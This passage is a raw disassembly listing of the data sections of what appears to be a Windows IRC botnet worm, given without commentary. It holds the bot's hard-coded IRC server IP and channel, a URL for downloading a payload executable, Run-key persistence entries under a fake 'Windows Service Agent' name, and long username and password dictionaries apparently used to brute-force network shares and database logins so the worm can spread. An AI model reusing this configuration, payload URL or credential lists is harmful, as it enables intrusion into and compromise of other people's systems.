cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: ___crtCompareStringA:loc_43AB93o align 10h dword_43F0D0 dd 0FFFFFFFFh ; DATA XREF: ___crtCompareStringA+5o dd offset loc_43ACFF dd offset loc_43AD05 dd 0FFFFFFFFh dd offset loc_43AD9D dd offset loc_43ADA3 aSetenv_c db 'setenv.c',0 ; DATA XREF: ___crtsetenv+B2o ; ___crtsetenv+F2o ... align 4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_43B3B0+1Fo dd offset dword_43F200 off_43F108 dd offset sub_43B530 ; DATA XREF: sub_43B410+44o ; sub_43B4D0+1Fo ... dd offset sub_43B480 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43B4A0 dd offset dword_43F250 off_43F118 dd offset sub_43B650 ; DATA XREF: sub_43B560+16o ; sub_43B600+Ao ... dd offset sub_43B480 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43B620 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43B6B0+1Fo dd offset dword_43F2A0 off_43F140 dd offset sub_43B790 ; DATA XREF: sub_43B710+16o ; sub_43B740+Ao ... dd offset sub_43B480 ; ?what@runtime_error@std@@UBEPBDXZ ; doubtful name dd offset sub_43B760 dd offset dword_43F2D0 off_43F150 dd offset ??_Gexception@@UAEPAXI@Z ; DATA XREF: .text:0043BE5Ao ; exception::exception(char const * const &)+Co ... ; exception::`scalar deleting destructor'(uint) dd offset ?what@exception@@UBEPBDXZ ; exception::what(void) aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: exception::what(void):loc_43C038o align 4 dd offset dword_43F318 off_43F170 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)+Ao ; type_info::type_info(type_info const &)+Ao ... ; type_info::`scalar deleting destructor'(uint) align 8 dword_43F178 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Do dd 3, 19930520h, 2 dup(0) dword_43F198 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringW+5o dd offset loc_43C4BF dd offset loc_43C4C5 dd 0FFFFFFFFh dd offset loc_43C564 dd offset loc_43C56A off_43F1B0 dd offset off_456300 ; DATA XREF: .rdata:0043F1E4o ; .rdata:0043F238o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43F1C8 dd offset off_456318 ; DATA XREF: .rdata:off_43F1E0o ; .rdata:0043F234o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_43F1E0 dd offset off_43F1C8 ; DATA XREF: .rdata:0043F1FCo dd offset off_43F1B0 dword_43F1E8 dd 4 dup(0) ; DATA XREF: .rdata:0043F210o dd 2 dd offset off_43F1E0 dword_43F200 dd 3 dup(0) ; DATA XREF: .rdata:0043F104o dd offset off_456318 dd offset dword_43F1E8+8 align 8 off_43F218 dd offset off_456338 ; DATA XREF: .rdata:off_43F230o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) off_43F230 dd offset off_43F218 ; DATA XREF: .rdata:0043F24Co dd offset off_43F1C8 dd offset off_43F1B0 dword_43F23C dd 3 dup(0) ; DATA XREF: .rdata:0043F260o dd 3 dd offset off_43F230 dword_43F250 dd 3 dup(0) ; DATA XREF: .rdata:0043F114o dd offset off_456338 dd offset dword_43F23C+4 align 8 off_43F268 dd offset off_456358 ; DATA XREF: .rdata:off_43F280o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) off_43F280 dd offset off_43F268 ; DATA XREF: .rdata:0043F29Co dd offset off_43F1C8 dd offset off_43F1B0 dword_43F28C dd 3 dup(0) ; DATA XREF: .rdata:0043F2B0o dd 3 dd offset off_43F280 dword_43F2A0 dd 3 dup(0) ; DATA XREF: .rdata:0043F13Co dd offset off_456358 dd offset dword_43F28C+4 off_43F2B4 dd offset off_43F1B0 ; DATA XREF: .rdata:0043F2CCo dword_43F2B8 dd 4 dup(0) ; DATA XREF: .rdata:0043F2E0o dd 1 dd offset off_43F2B4 dword_43F2D0 dd 3 dup(0) ; DATA XREF: .rdata:0043F14Co dd offset off_456300 dd offset dword_43F2B8+8 align 8 off_43F2E8 dd offset off_456378 ; DATA XREF: .rdata:off_43F300o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43F300 dd offset off_43F2E8 ; DATA XREF: .rdata:0043F314o dd 0 db 0 ; DATA XREF: .rdata:0043F328o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1 dd offset off_43F300 dword_43F318 dd 3 dup(0) ; DATA XREF: .rdata:0043F16Co dd offset off_456378 dd offset unk_43F308 align 10h dword_43F330 dd 19930520h, 2 ; DATA XREF: .text:loc_43C78Fo dd offset dword_43F350 dd 5 dup(0) dword_43F350 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F338o dd offset sub_43C778 dd 0 dd offset sub_43C770 dword_43F360 dd 19930520h, 2 ; DATA XREF: .text:loc_43C7A9o dd offset dword_43F380 dd 5 dup(0) dword_43F380 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F368o dd offset sub_43C799 dd 0 dd offset sub_43C7A1 dword_43F390 dd 19930520h, 2 ; DATA XREF: .text:loc_43C7B4o dd offset dword_43F3B0 dd 1 dd offset dword_43F3C0 align 10h dword_43F3B0 dd 0FFFFFFFFh, 0 ; DATA XREF: .rdata:0043F398o dd 0FFFFFFFFh, 0 dword_43F3C0 dd 2 dup(0) ; DATA XREF: .rdata:0043F3A0o dd 2 dup(1) dd offset dword_43F3D8 align 8 dword_43F3D8 dd 3 dup(0) ; DATA XREF: .rdata:0043F3D0o dd offset loc_40E1ED dword_43F3E8 dd 0 ; DATA XREF: .rdata:0043F454o ; .rdata:0043F4C0o ... dd offset off_456300 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch dd offset ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &) dword_43F404 dd 2 dup(0) ; DATA XREF: .rdata:0043F450o ; .rdata:0043F4BCo ... dd offset off_456318 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43B410 dword_43F424 dd 2 dup(0) ; DATA XREF: .rdata:0043F44Co dd offset off_456338 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43B680 align 8 dword_43F448 dd 3 ; DATA XREF: .rdata:0043F464o dd offset dword_43F424+4 dd offset dword_43F404+4 dd offset dword_43F3E8 dword_43F458 dd 0 ; DATA XREF: sub_43B3B0+3Fo ; sub_43B620+15o dd offset sub_43B600 dd 0 dd offset dword_43F448 dword_43F468 dd 19930520h, 1 ; DATA XREF: SEH_43B3B0o dd offset dword_43F488 dd 5 dup(0) dword_43F488 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F470o dd offset sub_43C7C0 dword_43F490 dd 19930520h, 1 ; DATA XREF: SEH_43B410o dd offset dword_43F4B0 dd 5 dup(0) dword_43F4B0 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F498o dd offset sub_43C7E0 dword_43F4B8 dd 2 ; DATA XREF: .rdata:0043F4D4o dd offset dword_43F404+4 dd offset dword_43F3E8 align 8 dword_43F4C8 dd 0 ; DATA XREF: sub_43B4A0+15o dd offset sub_43B4D0 dd 0 dd offset dword_43F4B8 dword_43F4D8 dd 19930520h, 1 ; DATA XREF: SEH_43B4D0o dd offset dword_43F4F8 dd 5 dup(0) dword_43F4F8 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F4E0o dd offset sub_43C800 dword_43F500 dd 19930520h, 1 ; DATA XREF: SEH_43B590o dd offset dword_43F520 dd 5 dup(0) dword_43F520 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F508o dd offset sub_43C820 dword_43F528 dd 0 ; DATA XREF: .rdata:0043F54Co dd offset off_456358 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch dd offset sub_43B7C0 align 8 dword_43F548 dd 3 ; DATA XREF: .rdata:0043F564o dd offset dword_43F528 dd offset dword_43F404+4 dd offset dword_43F3E8 dword_43F558 dd 0 ; DATA XREF: sub_43B6B0+3Fo ; sub_43B760+15o dd offset sub_43B740 dd 0 dd offset dword_43F548 dword_43F568 dd 19930520h, 1 ; DATA XREF: SEH_43B6B0o dd offset dword_43F588 dd 5 dup(0) dword_43F588 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043F570o dd offset sub_43C840 _rdata ends ; Section 3. (virtual address 00040000) ; Virtual size : 000B5EBD ( 745149.) ; Section size in file : 000B5EBD ( 745149.) ; Offset to raw data for section: 00040000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 440000h dword_440000 dd 0 ; DATA XREF: __cinit+29o dd offset loc_4013FF dd offset sub_40DCF5 dd offset sub_40E2FE dd offset sub_40F17C dd offset unknown_libname_31 ; Microsoft VisualC 2-8/net runtime dword_440018 dd 0 ; DATA XREF: __cinit+24o dword_44001C dd 0 ; DATA XREF: __cinit+17o dd offset ___onexitinit dd offset ___initstdio dd offset ___initmbctable dd offset ?__CxxSetUnhandledExceptionFilter@@YAXXZ ; __CxxSetUnhandledExceptionFilter(void) dword_440030 dd 0 ; DATA XREF: __cinit:loc_41F692o dword_440034 dd 0 ; DATA XREF: _doexit+76o dd offset ___endstdio dword_44003C dd 0 ; DATA XREF: _doexit:loc_41F7B1o dword_440040 dd 0 ; DATA XREF: _doexit+88o dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void) dword_440048 dd 2 dup(0) ; DATA XREF: _doexit:loc_41F7C3o dword_440050 dd 80000002h ; DATA XREF: sub_401000+7o dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h dd offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000001h dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... dword_440068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo dword_44006C dd 1639h ; DATA XREF: WinMain(x,x,x,x)+4A4r ; WinMain(x,x,x,x)+539r dword_440070 dd 0F51h ; DATA XREF: WinMain(x,x,x,x)+585r dword_440074 dd 7E4h ; DATA XREF: sub_401CC7:loc_40481Er dword_440078 dd 45h ; DATA XREF: sub_401CC7+2048r ; sub_40C165+3Br dword_44007C dd 50h ; DATA XREF: sub_401CC7:loc_403DFDr ; sub_40C165:loc_40C556r dword_440080 dd 20Bh ; DATA XREF: sub_401CC7:loc_403F89r word_440084 dw 7C7h ; DATA XREF: sub_401CC7:loc_404941r align 4 dword_440088 dd 1 ; DATA XREF: sub_401CC7+62Ar dword_44008C dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_40175Cr ; sub_41912E+Cr byte_440090 db 2Eh ; DATA XREF: sub_401CC7+A5Er ; sub_401CC7+B18r ... align 4 dword_440094 dd 5 ; DATA XREF: sub_40B0A2+3Ar ; sub_40B0A2+60r ... ; int dword_440098 dword_440098 dd 4 ; DATA XREF: sub_4019E7+78r ; sub_401CC7+270r ... ; int dword_44009C dword_44009C dd 1 ; DATA XREF: sub_4019E7+72r ; sub_401CC7+26Ar ; char aK3y[] aK3y db 'k3y',0 ; DATA XREF: WinMain(x,x,x,x)+5Do ; sub_401CC7:loc_40468Fo ... aH1d3 db 'h1d3',0 ; DATA XREF: sub_401CC7:loc_404B48o align 4 ; char aIkke[] aIkke db 'ikke',0 ; DATA XREF: sub_401CC7+7ED4o ; sub_401CC7+7FA3o align 4 ; char Source[] Source db '69.14.32.48',0 ; DATA XREF: WinMain(x,x,x,x)+490o ; WinMain(x,x,x,x)+52Ao ; char aPiavnc[] aPiavnc db '##piavnc##',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o ; WinMain(x,x,x,x)+540o ... align 4 ; char Str[] Str db 'wgl23.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o ; WinMain(x,x,x,x)+167w ... align 4 ; char aWinnt_bat[] aWinnt_bat db 'winnt.bat',0 ; DATA XREF: sub_4126CC+3Do align 4 aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo align 4 aPwnz db 'PwnZ|',0 ; DATA XREF: sub_40B10F+12o align 4 aWinsys_dat db 'winsys.dat',0 align 10h aXI db '-x+i',0 ; DATA XREF: sub_401CC7+8026o align 4 ; char aHelp[] aHelp db '##help',0 ; DATA XREF: sub_401CC7+1EABo ; sub_401CC7+1EBCo ... align 10h ; char aHelp_1[] aHelp_1 db '##help',0 ; DATA XREF: sub_401CC7+451Ao align 4 ; char aHelp_0[] aHelp_0 db '##help',0 ; DATA XREF: sub_401CC7+4145o ; sub_401CC7+4295o align 10h off_440130 dd offset dword_44049C ; DATA XREF: sub_401CC7:loc_409BEEo off_440134 dd offset aMircV6_16Khale ; DATA XREF: sub_401CC7+892r ; sub_401CC7+7F43o ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .data:00440054o ; .data:00440064o align 4 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 ; DATA XREF: .data:0044005Co align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AD95+28o ; sub_41B0B9+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AD95+D4o ; sub_41B0B9+D4o align 4 dd 1 dword_4401F0 dd 1 ; DATA XREF: .text:0041C5E2w aHttp141_62_120 db 'http://141.62.120.99:8080/piaa.exe',0 align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dd offset dword_4E40B8 dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_1 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_6 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_4 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_2 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase_0 ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2_0 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle_0 ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_1 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" align 8 dword_440498 dd 10h ; DATA XREF: sub_401CC7+AC8r ; sub_401CC7+AF4r ... dword_44049C dd 2A402Ah ; DATA XREF: .data:off_440130o aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_440134o align 10h aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00440138o align 10h aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0044013Co align 10h aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:00440140o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:00440218o align 10h aAdministrador db 'administrador',0 ; DATA XREF: .data:0044021Co align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: .data:00440220o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .data:00440224o aAdmins db 'admins',0 ; DATA XREF: .data:00440228o align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0044022Co align 4 aStaff db 'staff',0 ; DATA XREF: .data:00440230o align 4 aRoot db 'root',0 ; DATA XREF: .data:00440234o align 4 aComputer db 'computer',0 ; DATA XREF: .data:00440238o align 4 aOwner db 'owner',0 ; DATA XREF: .data:0044023Co align 10h aStudent db 'student',0 ; DATA XREF: .data:00440240o aTeacher db 'teacher',0 ; DATA XREF: .data:00440244o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:00440248o align 4 aGuest_0 db 'guest',0 ; DATA XREF: .data:0044024Co align 4 aDefault db 'default',0 ; DATA XREF: .data:00440250o aDatabase db 'database',0 ; DATA XREF: .data:00440254o align 4 aDba db 'dba',0 ; DATA XREF: .data:00440258o aOracle db 'oracle',0 ; DATA XREF: .data:0044025Co align 4 aDb2 db 'db2',0 ; DATA XREF: .data:00440260o aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0044026Co align 4 aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:00440270o align 4 aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:00440274o align 4 aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:00440278o aAdmins_0 db 'admins',0 ; DATA XREF: .data:0044027Co align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .data:00440280o align 4 aAdm db 'adm',0 ; DATA XREF: .data:00440284o aPassword1 db 'password1',0 ; DATA XREF: .data:00440288o align 4 aPassword db 'password',0 ; DATA XREF: .data:0044028Co align 10h aPasswd db 'passwd',0 ; DATA XREF: .data:00440290o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:00440294o align 4 aPass_1 db 'pass',0 ; DATA XREF: .data:00440298o align 4 aPwd db 'pwd',0 ; DATA XREF: .data:0044029Co a007 db '007',0 ; DATA XREF: .data:004402A0o a1: ; DATA XREF: .data:004402A4o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .data:004402A8o align 4 a123 db '123',0 ; DATA XREF: .data:004402ACo a1234 db '1234',0 ; DATA XREF: .data:004402B0o align 4 a12345 db '12345',0 ; DATA XREF: .data:004402B4o align 10h a123456 db '123456',0 ; DATA XREF: .data:004402B8o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:004402BCo a12345678 db '12345678',0 ; DATA XREF: .data:004402C0o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:004402C4o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:004402C8o align 4 a2000 db '2000',0 ; DATA XREF: .data:004402CCo align 4 a2001 db '2001',0 ; DATA XREF: .data:004402D0o align 4 a2002 db '2002',0 ; DATA XREF: .data:004402D4o align 4 a2003_0 db '2003',0 ; DATA XREF: .data:004402D8o align 4 a2004 db '2004',0 ; DATA XREF: .data:004402DCo align 4 aTest db 'test',0 ; DATA XREF: .data:004402E0o align 4 aGuest_1 db 'guest',0 ; DATA XREF: .data:004402E4o align 4 aNone db 'none',0 ; DATA XREF: .data:004402E8o align 4 aDemo db 'demo',0 ; DATA XREF: .data:004402ECo align 4 aUnix db 'unix',0 ; DATA XREF: .data:004402F0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:004402F4o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:004402F8o align 4 aDefault_0 db 'default',0 ; DATA XREF: .data:004402FCo aSystem db 'system',0 ; DATA XREF: .data:00440300o align 4 aServer_6 db 'server',0 ; DATA XREF: .data:00440304o align 10h aRoot_0 db 'root',0 ; DATA XREF: .data:00440308o align 4 aNull_1 db 'null',0 ; DATA XREF: .data:0044030Co align 10h aQwerty db 'qwerty',0 ; DATA XREF: .data:00440310o align 4 aMail db 'mail',0 ; DATA XREF: .data:00440314o align 10h aOutlook db 'outlook',0 ; DATA XREF: .data:00440318o aWeb db 'web',0 ; DATA XREF: .data:0044031Co aWww db 'www',0 ; DATA XREF: .data:00440320o aInternet db 'internet',0 ; DATA XREF: .data:00440324o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:00440328o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:0044032Co align 4 aHome db 'home',0 ; DATA XREF: .data:00440330o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:00440334o align 4 aUser_4 db 'user',0 ; DATA XREF: .data:00440338o align 10h aOem db 'oem',0 ; DATA XREF: .data:0044033Co aOemuser db 'oemuser',0 ; DATA XREF: .data:00440340o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00440344o align 4 aWindows db 'windows',0 ; DATA XREF: .data:00440348o aWin98 db 'win98',0 ; DATA XREF: .data:0044034Co align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:00440350o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:00440354o align 4 aWinnt db 'winnt',0 ; DATA XREF: .data:00440358o align 10h aWin2000 db 'win2000',0 ; DATA XREF: .data:0044035Co aQaz db 'qaz',0 ; DATA XREF: .data:00440360o aAsd db 'asd',0 ; DATA XREF: .data:00440364o aZxc db 'zxc',0 ; DATA XREF: .data:00440368o aQwe db 'qwe',0 ; DATA XREF: .data:0044036Co aBob db 'bob',0 ; DATA XREF: .data:00440370o aJen db 'jen',0 ; DATA XREF: .data:00440374o aJoe db 'joe',0 ; DATA XREF: .data:00440378o aFred db 'fred',0 ; DATA XREF: .data:0044037Co align 4 aBill db 'bill',0 ; DATA XREF: .data:00440380o align 4 aMike db 'mike',0 ; DATA XREF: .data:00440384o align 4 aJohn db 'john',0 ; DATA XREF: .data:00440388o align 4 aPeter db 'peter',0 ; DATA XREF: .data:0044038Co align 4 aLuke db 'luke',0 ; DATA XREF: .data:00440390o align 4 aSam db 'sam',0 ; DATA XREF: .data:00440394o aSue db 'sue',0 ; DATA XREF: .data:00440398o aSusan db 'susan',0 ; DATA XREF: .data:0044039Co align 4 aPeter_0 db 'peter',0 ; DATA XREF: .data:004403A0o align 4 aBrian db 'brian',0 ; DATA XREF: .data:004403A4o align 4 aLee db 'lee',0 ; DATA XREF: .data:004403A8o aNeil db 'neil',0 ; DATA XREF: .data:004403ACo align 10h aIan db 'ian',0 ; DATA XREF: .data:004403B0o aChris db 'chris',0 ; DATA XREF: .data:004403B4o align 4 aEric db 'eric',0 ; DATA XREF: .data:004403B8o align 4 aGeorge db 'george',0 ; DATA XREF: .data:004403BCo align 4 aKate db 'kate',0 ; DATA XREF: .data:004403C0o align 4 aBob_0 db 'bob',0 ; DATA XREF: .data:004403C4o aKatie db 'katie',0 ; DATA XREF: .data:004403C8o align 10h aMary db 'mary',0 ; DATA XREF: .data:004403CCo align 4 aLogin_2 db 'login',0 ; DATA XREF: .data:004403D0o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:004403D4o align 4 aTechnical db 'technical',0 ; DATA XREF: .data:004403D8o align 4 aBackup db 'backup',0 ; DATA XREF: .data:004403DCo align 10h aExchange db 'exchange',0 ; DATA XREF: .data:004403E0o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:004403E4o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:004403E8o align 4 aSlut db 'slut',0 ; DATA XREF: .data:004403ECo align 4 aSex db 'sex',0 ; DATA XREF: .data:004403F0o aGod db 'god',0 ; DATA XREF: .data:004403F4o aHell db 'hell',0 ; DATA XREF: .data:004403F8o align 4 aHello db 'hello',0 ; DATA XREF: .data:004403FCo align 4 aDomain db 'domain',0 ; DATA XREF: .data:00440400o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:00440404o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:00440408o align 10h aDatabase_0 db 'database',0 ; DATA XREF: .data:0044040Co align 4 aAccess db 'access',0 ; DATA XREF: .data:00440410o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:00440414o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:00440418o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0044041Co align 4 aData db 'data',0 ; DATA XREF: .data:00440420o align 10h aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00440424o align 4 aDb1 db 'db1',0 ; DATA XREF: .data:00440428o aDb2_0 db 'db2',0 ; DATA XREF: .data:0044042Co aDb1234 db 'db1234',0 ; DATA XREF: .data:00440430o align 4 aSa db 'sa',0 ; DATA XREF: .data:00440434o align 4 aSql db 'sql',0 ; DATA XREF: .data:00440438o aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0044043Co align 10h aOrainstall db 'orainstall',0 ; DATA XREF: .data:00440440o align 4 aOracle_0 db 'oracle',0 ; DATA XREF: .data:00440444o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:00440448o aCisco db 'cisco',0 ; DATA XREF: .data:0044044Co align 10h aDell db 'dell',0 ; DATA XREF: .data:00440450o align 4 aCompaq db 'compaq',0 ; DATA XREF: .data:00440454o align 10h aSiemens db 'siemens',0 ; DATA XREF: .data:00440458o aHp db 'hp',0 ; DATA XREF: .data:0044045Co align 4 aNokia db 'nokia',0 ; DATA XREF: .data:00440460o align 4 aXp_1 db 'xp',0 ; DATA XREF: .data:00440464o align 4 aControl db 'control',0 ; DATA XREF: .data:00440468o aOffice db 'office',0 ; DATA XREF: .data:0044046Co align 4 aBlank db 'blank',0 ; DATA XREF: .data:00440470o align 10h aWinpass db 'winpass',0 ; DATA XREF: .data:00440474o aMain db 'main',0 ; DATA XREF: .data:00440478o align 10h aLan db 'lan',0 ; DATA XREF: .data:0044047Co aInternet_0 db 'internet',0 ; DATA XREF: .data:00440480o align 10h aIntranet db 'intranet',0 ; DATA XREF: .data:00440484o align 4 aStudent_0 db 'student',0 ; DATA XREF: .data:00440488o aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0044048Co aStaff_0 db 'staff',0 ; DATA XREF: .data:00440490o align 4 ; char aSS[] aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do align 4 ; char Format[] Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o align 4 ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo align 10h ; char asc_440A60[] asc_440A60 db '-' ; 